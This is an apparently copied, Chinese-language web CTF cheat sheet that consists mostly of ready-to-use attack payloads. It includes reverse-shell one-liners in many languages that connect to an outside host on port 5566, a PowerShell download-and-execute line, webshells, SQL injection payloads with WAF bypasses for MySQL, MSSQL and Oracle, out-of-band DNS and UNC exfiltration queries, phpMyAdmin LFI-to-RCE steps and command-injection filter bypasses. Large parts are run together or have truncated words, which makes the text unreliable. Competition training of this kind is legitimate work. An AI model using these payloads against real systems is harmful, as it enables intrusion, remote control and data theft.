CTF思路
点击放大


WEB CTF CheatSheet
===
Table of Contents
=================
* Webshell
* Reverse Shell
* PHP Tag
* PHP Weak Type
* PHP Feature
* Bypass open\_basedir
* Bypass disable\_functions
* Command Injection
* Bypass Space
* Bypass Keyword
* ImageMagick
* Ruby Command Executing
* Python Command Executing
* SQL Injection
* MySQL
* MSSQL
* Oracle
* SQLite
* Postgresql
* MS Access
* LFI
* Upload
* Serialization
* PHP Serialize
* Python Pickle
* Ruby Deserialization
* Ja
* .NET Serialization
* SSTI / CSTI
* Flask/Jinja2
* Twig/Symfony
* Thymeleaf
* Freemarker
* Golang
* AngularJS
* Vue.js
* Python
* Tool
* SSRF
* Bypass
* Local Expolit
* Remote Expolit
* Metadata
* CRLF Injection
* Finger Print
* XXE
* Out of Band XXE
* Error-based XXE
* Prototype Pollution
* Frontend
* XSS
* RPO
* CSS Injection
* XS-Leaks
* DOM Clobbering
* Crypto
* PRNG
* ECB mode
* CBC mode
* Length Extension Attack
* Others
* Tools and Website
* Information Gathering
* Hash Crack
解法:restart
解法:restart
(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)
(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)
ncat -vl 5566perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'nc -e /bin/sh kaibro.tw 5566mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipepython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'var net = require("net"), sh = require("child_process").exec("/bin/bash"); = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();java.lang.Runtime.exec() payload generator: powershell IEX (New-Object System.Net.Webclient).DownloadString(');powercat -c kaibro.tw -p 5566 -e cmd<? ?><?=PHP 5.4.0起,always work!<% %>、<%=PHP 7.0.0起,被移除asp_tags設成On<script language="php"PHP 7.0.0起,被移除<script language="php">system("id"); </script>('0xABCdef' == ' 0xABCdef');('0010e2' == '1e3’);strcmp([],[])sha1([])'123' == 123'abc' == 0'123a' == 123'0x01' == 1('0x01' == 1) => false'' == 0 == false == NULLmd5([1,2,3]) == md5([4,5,6]) == NULL(md5(240610708));(sha1());$a="123"; $b="456"$a + $b == "579";$a . $b == "123456"$a = 0; $b = 'x';$a == false => true$a == $b => true$b == true => true$a = 'a'++$a => 'b'$a+1 => 1intval('00') => 2147483647intval('0000000000') => 54775807php -r "(1.000000000000001 == 1);"php -r "(1.0000000000000001 == 1);"$a = 0.1 * 0.1; ($a == 0.01);(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));1ereg 和 eregi 在 PHP 7.0.0 已經被移除(intval('5278.8787'));5278intval(012) => 10intval("012") => 12extract($_GET);.php?_SESSION[name]=adminecho $_SESSION['name'] => 'admin'" " (0x20)"\t" (0x09)"\n" (0x0A)"\x0B" (0x0B)"\r" (0x0D)"\0" (0x00)"\f" (0x0C)is_numeric() 允許 \f 在開頭is_numeric(" \t\r\n 123") => trueis_numeric(' 87') => trueis_numeric('87 ') => falseis_numeric(' 87 ') => falseis_numeric('0xdeadbeef')falsetrue' -.0''0.'' +2.1e5'' -1.5E+25''1.e5'in_array('5 or 1=1', array(1, 2, 3, 4, 5))in_array('kaibro', array(0, 1, 2))in_array(array(), array('kai'=>false))in_array(array(), array('kai'=>null))in_array(array(), array('kai'=>0))in_array(array(), array('kai'=>'bro'))in_array('kai', array('kai'=>true))in_array('kai', array('kai'=>'bro'))in_array('kai', array('kai'=>0))in_array('kai', array('kai'=>1))mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])haystack 陣列中,搜尋 needle 的值,成功則返回 index,失敗返回 False$strict 為 false 時,採用不嚴格比較$arr=array(1,2,0); (array_search('kai', $arr))int(2)$arr=array(1,2,0); (array_search('1', $arr))int(0)parse_str(string, array)E_DEPRECATED警告parse_str('gg[kaibro]=5566');.,會被轉成底線parse_url('/a.php?id=1')parse_url('//a/b')aparse_url('..//a/b/c:80')..80//a/b/c:80parse_url('///a.php?id=1')parse_url('/a.php?id=1:80')falseparse_url(')- 其他: false
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )$subject 中匹配的 $pattern,並用 $replacement 替換/e 修飾符,$replacement 會被當成 PHP code 執行E_DEPRECATED 錯誤preg_replace_callback() 代替example:
%\、%'、%1$\'%' and 1=1# 中的單引號會被轉義成 \',%\ 又會被吃掉,' 成功逃逸default 不處理 - 可以直接?txt[]=<?php phpinfo(); ?>寫入
spl_autoload_register() 可以自動載入 Class.inc 和 .phpspl_autoload_register() 會把這個 Class 載入進來a.php/.file_put_contents("a.php/.", "<?php phpinfo() ?>");file_get_contents("a.php/.");" => .a"php> => ?a.p>pa.>>>< => *a.<$_GET 會對傳入的參數做 URLdecode 再返回$_SERVER['REQUEST_URI'] 和 $_SERVER['QUERY_STRING'] 則是直接返回Example:
Request:
* $_GET: [url] => gg
* $_SERVER['REQUEST_URI']: /test.php?url=%67%67
* $_SERVER['QUERY_STRING']: url=%67%67
opcache.enable 是否啟用opcache.file_cache 設定 cache 目錄opcache.file_cache="/tmp/opcache"/var/www/index.php 的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.binopcache.file_cache_only 設定 cache 文件優先級opcache. 是否啟用 timestamp 驗證system_id 是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性pcre.backtrack_limit1000000preg_match() 會返回 falsesendmailmessage_type 為 1 時,會去調用 sendmailepsdelegates.xml 定義處理各種文件的規則 - 蓋PATH + ghostscript:
- 造一個執行檔 gs
dl("rce.so")com.allow_dcom = trueextension=php_com_dotnet.dll.so, gconiconv(), icon(), php://filter的convert.iconv<?PhP sYstEm(ls);echo (true ? 'a' : false ? 'b' : 'c');bkaibro. 不匹配換行字元 %0apreg_match("/\\/", $str)\\\\ 而不是 \\$a = true && false;$a => false$a = true and false;$a => truechr(259) === chr(3)chr(-87) === chr(169)$a="9D9"; (++$a);string(3) "9E0"$a="9E0"; (++$a);float(10)%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7fsystemassert~, ++等運算,也都可用類似概念構造$array{index} 同 $array[index]filter_var(' FILTER_)filter_var('0://evil.com;google.com', FILTER_)"aaaaa{}[]()'|!#$%*&^-_=+,."@b.c (OK)
- filter_var('aaa."bbb"@b.c',FILTER_)
- aaa."bbb"@b.c (OK)
- filter_var('aaa"bbb"@b.c',FILTER_)
- Falsejson_decode
- 不直接吃換行字元和 \t 字元
- 但可以吃 '\n' 和 '\t'
- 會轉成換行字元和 Tab
- 也吃\uxxxx形式
- json_decode('{"a":"\u0041"}')=== bug
- ([0 => 0] === [0x100000000 => 0])
- 某些版本會是 True
- ASIS 2018 Qual Nice Code
-
openssl_
- 預測採用 SHA1 來做簽名,可能有 SHA1 Collision 問題
- e.g. DEFCON CTF 2018 Qual - EasyPisy
Namespace
- PHP 的預設 Global space 是 \
- e.g. \system('ls');basename (php bug 62119)
- basename("index.php/config.php/喵")
- config.php
- Example: zer0pts CTF 2020 - Can you guess it?strip_tags (php bug 78814)
- php <= 7.4.0
- strip_tags("<s/trong>b</strong>", "<strong>")
- <s/trong>b</strong>
- Example: zer0pts CTF 2020 - MusicBlogmb_strpos / mb_substr
- 當 mb_strpos 讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character
- Example: mb_strpos("\xf0\x9fAAA<BB", '<') -> 4
- 而 mb_substr 則有不一致,當遇到 leading byte 時,會跳過 continuation bytes
- Example: mb_substr("\xf0\x9fAAA<BB", 0, 4) -> "\xf0\x9fAAA<B"
- ref: Joomla XSS
Reflection
- PHP8.1 Reflection 可以呼叫 protected/private 函數 - ref
Command Injection
? and *
? match one character
- cat fl?g
- /???/??t /???/p??s??
* match 多個
- cat f*
- cat f?a*空白繞過
${IFS}
- cat${IFS}flag
- ls$IFS-alh
- cat$IFS$2flag
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
- bash onlyKeyword繞過
String Concat
- A=fl;B=ag;cat $A$B
Empty
- cat fl${x}ag
- cat tes$(z)t/flagEn
- $PATH => "/usr/local/….blablabla”
- ${PATH:0:1} => '/'
- ${PATH:1:1} => 'u'
- ${PATH:0:4} => '/usr'
- ${PS2}
- >
- ${PS4}
- +
Empty String
- cat fl""ag
- cat fl''ag
- cat "fl""ag"反斜線
- c\at fl\agImageMagick
C (ImageTragick)
- mvg 格式包含 https 處理(使用 curl 下載),可以閉合雙引號
- payload:Example
- Google CTF 2019 - GPhotos
- Some Debians appear to ha ImageMagick configuration by default
- read file: - copy file (MSL):
- TokyoWesterns CTF 2018 - Slack emoji con
- ghostscript RCE
- TokyoWesterns CTF 2019 - Slack emoji con Kai)
- ghostscript RCE
Ruby Command Executing
open("| ls")
IO.popen("ls").read
Kernel.exec("ls")
Kernel.method("open").call("|ls").read()
system("ls")
eval("ruby code")
- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
- $$/$$ => 1
- '' << 97 << 98 << 99 => "abc"
- $:即$LOAD_PATH
exec("ls")
%x{ls} / %x'ls' / %x[ls] / %x(ls) / %x;ls;
"Process".constantize.spawn("id")
Process.spawn("id")
PTY.spawn("id")
Net::FTP
- C
- use Kernel#openPython Command Executing
os.system("ls")
os.popen("ls").read()
os.execl("/bin/ls","")
os.execlp("ls","")
os.execv("/bin/ls",[''])
os.execvp("/bin/ls",[""])
subprocess.call("ls")
- subprocess.call("ls|cat",shell=False) => Fail
- subprocess.call("ls|cat",shell=True) => Correct
eval("__import__('os').system('ls')")
exec("__import__('os').system('ls')")
commands.getoutput('ls')Read File
diff /etc/passwd /flag
paste /flag
bzmore /flag
bzless /flag
static-sh /flag
... SQL Injection
MySQL
子字串:
- substr("abc",1,1) => 'a'
- mid("abc", 1, 1) => 'a'
Ascii function
- ascii('A') => 65
Char function
- char(65) => 'a'
Concatenation
- CONCAT('a', 'b') => 'ab'
- 如果任何一欄為 NULL,則返回 NULL
- CONCAT_WS(分隔符, 字串1, 字串2...)
- CONCAT_WS('@', 'gg', 'inin') => gg
Cast function
- CAST('125e342.83' AS signed) => 125
- CONVERT('23',SIGNED) => 23
Delay function
- sleep(5)
- BENCHMARK(count, expr)
空白字元
- 09 0A 0B 0C 0D A0 20
File-read function
- LOAD_FILE('/etc/passwd')
- LOAD DATA INFILE
- Client 讀 Server 文件
- 一樣受 secure_file_priv, FILE pri 限制 (ref: link)
- LOAD DATA LOCAL INFILE
- Server 讀 Client 文件
- LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
- 不需要 FILE pri,且任意目錄檔案皆可讀 (只要 Client 有權限即可)
- support UNC Path
- LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";
- stealing net-NTLM hash
- Trigger phar deserialization
- LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'
- 非 default 設置 - Tool
- Rogue-MySQL-Server
- MysqlClientAttack
- Example
- N1CTF 2019 - sql_manage
- HITCON 2019 - GoGoPowerSQL
- 0CTF 2018 Final - h4x0rs.club
- 2018 - Corp Monitoring
- load_file with WebDAV
-
load_file('//kaibro.tw@9478/meow.php') / load_file('\\\\kaibro.tw@9478/meow.php')
- Windows 環境有開 WebClient Service 時,可以透過 MySQL load_file + UNC Path 發送 HTTP Reuqest 到指定 URL (透過 @ 指定 Port)
- 實戰中,站庫分離環境,若後端 MySQL 主機有開 Web 環境,則可透過該方法先寫 webshell 再送 http request 觸發執行
- Example
- Balsn CTF 2023 - ginowa
File-write
- INTO DUMPFILE
- 適用 binary (寫入同一行)
- INTO OUTFILE
- 適用一般文本 (有換行)
- 寫webshell
- 需知道可寫路徑
- UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 權限
- SELECT file_priv FROM mysql.user
- secure-file-priv
- 限制 MySQL 導入導出
- load_file, into outfile, load data 等
- 運行時無法更改
- MySQL 5.5.53 前,該變數預設為空(可以導入導出)
- e.g. secure_file_priv=E:\
- 限制導入導出只能在 E:\ 下
- e.g. secure_file_priv=null
- 限制不允許導入導出
- secure-file-priv 限制下用 general_log 拿 shellIF語句
- IF(condition,true-part,false-part)
- SELECT IF (1=1,'true','false')
Hex
- SELECT X'5061756c'; => paul
- SELECT 0x5061756c; => paul
- SELECT 0x5061756c+0 => 1348564332
- SELECT load_file(0x2F6574632F4);
- /etc/passwd
- 可繞過一些 WAF
- e.g. 用在不能使用單引號時(' => \')
- CHAR() 也可以達到類似效果
- 'admin' => CHAR(97, 100, 109, 105, 110)
註解:
- #
- --
- /**/
- 一個 */ 可以閉合前面多個 /*
- /*! 50001 select * from test */
- 可探測版本
- e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
- ;select group_concat(username) from users; 一次返回所有使用者名SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLESgreatest(a, b)返回 a, b 中最大的greatest(1, 2)=2greatest(1, 2)=1greatest(1, 2) between 1 and 3SELECT 'abc' regexp '.*'*_ci case insensiti 不區分大小寫*_cs case sensiti 區分大小寫*_bin binary case sensiti 區分大小寫union select 1,2,3...Norder by N 找最後一個成功的 NAND 1=2 UNION SELECT 1, 2, password FROM admin--+LIMIT N, M 跳過前 N 筆,抓 M 筆union select 1,2,schema_name from information_schema.schemata limit 1,1union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1SELECT CONCAT(user, ":" ,password) FROM mysql.user;#define ERRMSGSIZE (512)SELECT ~0 => 709551615SELECT ~0 + 1 => ERRORSELECT exp(709) => 8.4972e307SELECT exp(710) => ERRORSELECT exp(~(SELECT * FROM (SELECT user())x));ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root' FROM dual)))'select (select(!x-~0)from(select(select user())x)a);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root')) - ~(0))'select extractvalue(1,concat(0x7e,(select @@),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select updatexml(1,concat(0x7e,(select @@),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'select count(*) from test group by concat((),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'select ST_LatFromGeoHash(());select ST_LongFromGeoHash(());select GTID_SUBSET((),1);select GTID_SUBTRACT((),1);select ST_PointFromGeoHash((),1);information_schema 等關鍵字時,可以用下面方法爆庫名select 1,2,3 from users where 1=abc();ERROR 1305 (42000): FUNCTION fl4g.abc does not existselect 1,2,3 from users where Polygon(id);select 1,2,3 from users where linestring(id);
-
- 爆Column
- select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
- ERROR 1060 (42S21): Duplicate column name 'id'
- select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
- ERROR 1060 (42S21): Duplicate column name 'username'
Blind Based (Time/Boolean)
- Boolean
- 「有」跟「沒有」
- id=87 and length(user())>0
- id=87 and length(user())>100
- id=87 and ascii(mid(user(),1,1))>100
- id=87 or ((select user()) regexp binary '^[a-z]')
- Time
- 用在啥結果都看不到時
- id=87 and if(length(user())>0, sleep(10), 1)=1
- id=87 and if(length(user())>100, sleep(10), 1)=1
- id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1Out of Bnad
- Windows only
- select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata繞過空白檢查
- id=-1//UNION//SELECT/**/1,2,3
- id=-1%09UNION%0DSELECT%0A1,2,3
- id=(-1)UNION(SELECT(1),2,3)寬字節注入
- addslashes() 會讓 ' 變 \'
- 在 GBK 編碼中,中文字用兩個 Bytes 表示
- 其他多字節編碼也可
- 但要低位範圍有包含 0x5c(\)
- 第一個 Byte 要 >128 才是中文
- %df' => %df\' => 運' (成功逃逸)Order by注入
- 可以透過 asc、desc 簡單判斷
- ?sort=1 asc
- ?sort=1 desc
- 後面不能接 UNION
- 已知字段名 (可以盲注)
- ?order=IF(1=1, username, password)
- 利用報錯
- ?order=IF(1=1,1,(select 1 union select 2)) 正確
- ?order=IF(1=2,1,(select 1 union select 2)) 錯誤
- ?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常
- ?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤
- Time Based
- ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常
- ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒group by with rollup
- ' or 1=1 group by pwd with rollup limit 1 offset 2#將字串轉成純數字
- 字串 -> 16進位 -> 10進位
- conv(hex(YOUR_DATA), 16, 10)
- 還原:unhex(con,10,16))
- 需注意不要 O不使用逗號
- LIMIT N, M => LIMIT M OFFSET N
- mid(user(), 1, 1) => mid(user() from 1 for 1)
- UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)快速查找帶關鍵字的表
- select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');不知列名、不能訪問 information_schema 爆數據
- 須知道表名
- 例如: artice、admin
- select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
- 列名不夠,繼續加 4,5,6,7,... 一直到猜對列名個數innodb
- 表引擎為 innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有庫名表名
- select table_name from mysql.innodb_table_stats where database_name=資料庫名;
- Example: Codegate2018 prequal - simpleCMSsys
- sys.statements_with_full_table_scans
- 可以撈表名
- 詳見 PPP simpleCMS writeup
- select query from sys.statements_with_full_table_scans
- MySQL 5.7Bypass WAF -
select password => SelEcT password (大小寫)
- select password => select/**/password (繞空白)
- select password => s%65lect%20password (URLencode)
- select password => select(password) (繞空白)
- select password => select%0apassword (繞空白)
- %09, %0a, %0b, %0c, %0d, %a0
- select password from admin => select password /*!from*/ admin (MySQL註解)
- information_schema.schemata => (繞關鍵字/空白)
-
- select pass from user where id='admin' => select pass from user where id=0x61646d696e (繞引號)
- id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
- ?id=0e2union select 1,2,3 (科學記號)
- ?id=1union select 1,2,3會爛
- ?id=0e1union(select~1,2,3) (~)
- ?id=.1union select 1,2,3 (點)
- WHERE => HAVING (繞關鍵字)
- AND => && (繞關鍵字)
- OR => ||
- = => LIKE
- a = 'b' => not a > 'b' and not a < 'b'
- > 10 => not between 0 and 10
- LIMIT 0,1 => LIMIT 1 OFFSET 0 (繞逗號)
- substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
- Multipart/form-data繞過
-
- Example: Real World CTF 4th - Hack into Skynet
- 偽造 User-Agent
- e.g. 有些 WAF 不封 google botphpMyAdmin
- 寫文件 getshell
- 條件
- root 權限
- 已知 web 路徑
- 有寫檔權限
- select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
- general_log getshell
- 條件
- 讀寫權限
- 已知 web 路徑
- step1. 開啟日誌: set global general_log = "ON";
- step2. 指定日誌文件: set global general_log_file = "/var/www/html/shell.php";
- step3. 寫入php: select "<?php phpinfo();?>";
- slow_query getshell
- step1. 設置日誌路徑: set GLOBAL slow_query_log_file='/var/www/html/shell.php';
- step2. 開啟 slow_query_log: set GLOBAL slow_query_log=on;
- step3. 寫入 php: select '<?php phpinfo();?>' from mysql.db where sleep(10);
- C
- phpMyAdmin : 4.8.0 ~ 4.8.3
- LFI to RCE
- 條件
- 能登入後台
- step1. CREATE DATABASE foo;CREATE TABLE foo.bar (baz (100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
- step2. /chk_rel.php?fixall_pmadb=1&db=foo
- step3.
- step4. /tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
- C
- phpMyAdmin : 4.8.x
- LFI to RCE
- 條件
- 能登入後台
- Payload
- index.php?target=db_sql.php%253f/../../../../../../windows/system.ini
- index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
- 在控制台執行的 sql 語句會被寫入 session
- Session id 可以從 cookie phpMyAdmin 得到
- C
- phpmyadmin :
- 4.0.10.16 之前的4.0.x版本
- 4.4.15.7 之前的 4.4.x版本
- 4.6.3之前的 4.6.x版本
- php :
- 4.3.0 ~ 5.4.6
- preg_replace RCE
- 條件
- 能登入後台
- C
- phpMyAdmin :
- 4.0.1 ~ 4.2.12
- php :
- < 5.3.4
- 條件
- 能登入後台
- 能截斷
- Payload: gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 (需修改token)
- C
- : 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
-
- C
- : v3.5.2.2
- ser.php Backdoor
-
- C
- : 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
- config/config.inc.php 命令執行
-
- 弱密碼 / 萬用密碼
- phpmyadmin 2.11.9.2: root/空密碼
- phpmyadmin 2.11.3 / 2.11.4: 用戶名: 'localhost'@'@"MSSQL
子字串:
- SUBSTRING("abc", 1, 1) => 'a'
Ascii function
- ascii('A') => 65
Char function
- char(65) => 'a'
Concatenation
- +
- 'a'+'b' => 'ab'
Delay function
- WAITFOR DELAY '0:0:10'
空白字元
- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
IF 語句
- IF condition true-part ELSE false-part
- IF (1=1) SELECT 'true' ELSE SELECT 'false'
註解:
- --
- /**/
TOP
- MSSQL 沒有 LIMIT N, M 的用法
- SELECT TOP 87 * FROM xxx 取最前面 87 筆
- 取第 78~87 筆
- SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
其它:
- user
- db_name()
- user_name()
- @@
- @
- @@ser
- host_name()
- has_dbaccess('master')
查詢用戶
- select name, loginame from master..syslogins, master..sysprocesses
查用戶密碼
- select user,password from master.dbo.syslogins
當前角色是否為資料庫管理員
- SELECT is_sr('sysadmin')
當前角色是否為db_owner
- SELECT IS_MEMBER('db_owner')
爆DB name
-
-
-
- SELECT catalog_name FROM information_schema.schemata
-
爆表名
- SELECT table_catalog, table_name FROM information_schema.tables
- SELECT name FROM sysobjects WHERE xtype='U'
- ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--爆column
- SELECT table_catalog, table_name, column_name FROM information_schema.columns
- SELECT name FROM syscolumns WHERE id=object_id('news')
- ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
- SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')一次性獲取全部資料
- select quotename(name) from master..sysdatabases FOR XML PATH('')
- select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto
Union Based
- Column 型態必須相同
- 可用NULL來避免
Error Based
- 利用型別轉換錯誤
- id=1 and user=0
Out of Band
- declare @p (1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')
- fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricod.burpcollaborator.net\1.xem',null,null)
- Requires VIEW SER permission on the server
- fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
- Requires the CONTROL SER.
- fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
- Requires the CONTROL SER.
判斷是否站庫分離
- 客戶端主機名: select host_name();
- 服務端主機名: select @@ser;
- 兩者不同即站庫分離讀檔
- select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)xp_cmdshell
- 在 MSSQL 2000 默認開啟
- MSSQL 2005 之後默認關閉
- 有 sa 權限,可透過 sp_configure 重啟它 - 執行 command
-
exec xp_cmdshell 'whoami' - 關閉xp_cmdshell
快速查找帶關鍵字的表
- SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');繞 WAF
- Non-standard whitespace character:
- 1%C2%85union%C2%85select%C2%A0null,@@,null--
- 混淆 UNION
- 0eunion+select+null,@@,null--
- Unicode 繞過
- IIS 對 Unicode 編碼是可以解析的,即 s%u0065lect 會被解析為 selectOracle
SELECT 語句必須包含 FROM
- 未指定來源,可以用 dual 表
子字串:
- SUBSTR('abc', 1, 1) => 'a'
空白字元
- 00 0A 0D 0C 09 20
IF語句
- IF condition THEN true-part [ELSE false-part] END IF
註解:
- --
- /**/
不支援 limit
- 改用 rownum
- select table_name from (select rownum no, table_name from all_tables) where no=1
單雙引號
- 單引號: string, date
- 雙引號: identifier (table name, column name, ...)
其它
- SYS.DATABASE_NAME
- current database
- USER
- current user
- or sys.login_user
- SELECT role FROM session_roles
- current role
- SELECT pri FROM user_sys_privs
- system pri granted to the current user
- SELECT pri FROM role_sys_privs
- privs the current role has
- SELECT pri FROM session_privs
- the all privs that current user has = user_sys_privs + role_sys_privs
- SELECT banner FROM where rownum=1
- database
- SELECT host_name FROM ;
- Name of the host machine
- SELECT banner FROM WHERE banner LIKE 'TNS%'
- 作業系統版本
- utl_inaddr.get_host_address
- 本機IP
- select utl_inaddr.get_host_name('87.87.87.87') from dual
- IP反解
- dba_tables
- 系統所有表資訊,需要 dba 權限
- user_tables
- 當前使用者名下表的資訊
庫名(schema)
- SELECT DISTINCT OWNER FROM ALL_TABLES
表名
- SELECT OWNER, TABLE_NAME FROM ALL_TABLES
Column
- SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
Union Based
- Column 型態必須相同
- 可用 NULL 來避免錯誤
- UNION SELECT 1, 'aa', null FROM dual
Time Based
- dbms_pipe.recei(('a'),10)
- SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.recei(('a'),10) ELSE NULL END FROM dual
Error Based
- CTXSYS.DRITHSX.SN
- SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM WHERE rownum=1))=1
- utl_inaddr.get_host_name
- and 1=utl_inaddr.get_host_name((SQL in HERE))
- 版本 >=11g,需要超級用戶或授予網路權限的用戶才能用
- dbms_xdb_.checkin
- and (select dbms_xdb_.checkin((select user from dual)) from dual) is not null
- dbms_xdb_.make
- and (select dbms_xdb_.make((select user from dual)) from dual) is not null
- dbms_xdb_.uncheckout
- and (select dbms_xdb_.uncheckout((select user from dual)) from dual) is not null
- dbms_utility.sqlid_to_sqlhash
- and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
Out of band
- UTL_HTTP.request(' user from dual))=1
- SYS.DBMS_LDAP.INIT()
- utl_inaddr.get_host_address()
- HTTPURITYPE
- SELECT HTTPURITYPE(').GETCLOB() FROM DUAL;
- extractvalue() XXE
- SELECT extractvalue(xmltype('<?xml ="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM " xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual
- 新版已 patch
users
- select username from all_users
- lists all users of the database
- select name, password from sys.user$
- select username,password,account_status from dba_users
Ja
- 可以創建 Java 源碼並存成 Oracle 物件
- CREATE JA NAMED "xxxx" AS <Java Code>
Code execution
- load lib
- create or replace library lib_evil as '/home/oracle/evil.so';
- create or replace function cmd(str ) return as language c library lib_evil name "cmd";
- select cmd('whoami') from dual;
- dbms_ja
- dbms_ja('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
- DBMS_JA.FUNCALL
